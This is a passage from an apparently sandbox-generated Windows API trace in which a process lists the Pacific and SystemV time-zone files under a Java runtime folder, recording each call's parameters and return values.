BaseAddress=0x12eb0e0) returned 1 [0088.887] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wallis", cAlternateFileName="")) returned 1 [0088.887] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wallis", cAlternateFileName="")) returned 0 [0088.887] GetLastError () returned 0x12 [0088.887] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9080 [0088.888] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0088.888] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.888] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x238, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apia", cAlternateFileName="")) returned 1 [0088.888] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x544, dwReserved0=0x0, dwReserved1=0x0, cFileName="Auckland", cAlternateFileName="")) returned 1 [0088.888] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x464, dwReserved0=0x0, dwReserved1=0x0, cFileName="Chatham", cAlternateFileName="")) returned 1 [0088.888] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Chuuk", cAlternateFileName="")) returned 1 [0088.888] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Easter", cAlternateFileName="")) returned 1 [0088.888] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Efate", cAlternateFileName="")) returned 1 [0088.888] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x59, dwReserved0=0x0, dwReserved1=0x0, cFileName="Enderbury", cAlternateFileName="")) returned 1 [0088.888] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fakaofo", cAlternateFileName="")) returned 1 [0088.888] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x24c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fiji", cAlternateFileName="")) returned 1 [0088.888] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Funafuti", cAlternateFileName="")) returned 1 [0088.888] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Galapagos", cAlternateFileName="")) returned 1 [0088.888] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gambier", cAlternateFileName="")) returned 1 [0088.888] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Guadalcanal", cAlternateFileName="")) returned 1 [0088.888] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Guam", cAlternateFileName="")) returned 1 [0088.888] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x69, dwReserved0=0x0, dwReserved1=0x0, cFileName="Honolulu", cAlternateFileName="")) returned 1 [0088.888] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Johnston", cAlternateFileName="")) returned 1 [0088.888] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x59, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kiritimati", cAlternateFileName="")) returned 1 [0088.888] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x55, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kosrae", cAlternateFileName="")) returned 1 [0088.888] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x59, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kwajalein", cAlternateFileName="")) returned 1 [0088.888] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Majuro", cAlternateFileName="")) returned 1 [0088.888] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Marquesas", cAlternateFileName="")) returned 1 [0088.888] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x59, dwReserved0=0x0, dwReserved1=0x0, cFileName="Midway", cAlternateFileName="")) returned 1 [0088.888] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x61, dwReserved0=0x0, dwReserved1=0x0, cFileName="Nauru", cAlternateFileName="")) returned 1 [0088.888] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x59, dwReserved0=0x0, dwReserved1=0x0, cFileName="Niue", cAlternateFileName="")) returned 1 [0088.888] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Norfolk", cAlternateFileName="")) returned 1 [0088.888] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x79, dwReserved0=0x0, dwReserved1=0x0, cFileName="Noumea", cAlternateFileName="")) returned 1 [0088.889] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pago_Pago", cAlternateFileName="")) returned 1 [0088.889] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Palau", cAlternateFileName="")) returned 1 [0088.889] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pitcairn", cAlternateFileName="")) returned 1 [0088.889] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pohnpei", cAlternateFileName="")) returned 1 [0088.889] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Port_Moresby", cAlternateFileName="")) returned 1 [0088.889] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x11d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rarotonga", cAlternateFileName="")) returned 1 [0088.889] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Saipan", cAlternateFileName="")) returned 1 [0088.889] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tahiti", cAlternateFileName="")) returned 1 [0088.889] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tarawa", cAlternateFileName="")) returned 1 [0088.889] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tongatapu", cAlternateFileName="")) returned 1 [0088.889] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wake", cAlternateFileName="")) returned 1 [0088.889] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wallis", cAlternateFileName="")) returned 1 [0088.889] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wallis", cAlternateFileName="")) returned 0 [0088.889] GetLastError () returned 0x12 [0088.889] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.889] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0088.890] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250cd0) returned 1 [0088.890] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.890] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PST8PDT", cAlternateFileName="")) returned 1 [0088.891] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746d2260, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746d2260, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemV", cAlternateFileName="")) returned 1 [0088.891] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\systemv"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746d2260, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746d2260, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0088.892] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\systemv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0088.892] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0088.892] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0088.892] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0088.892] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0088.892] 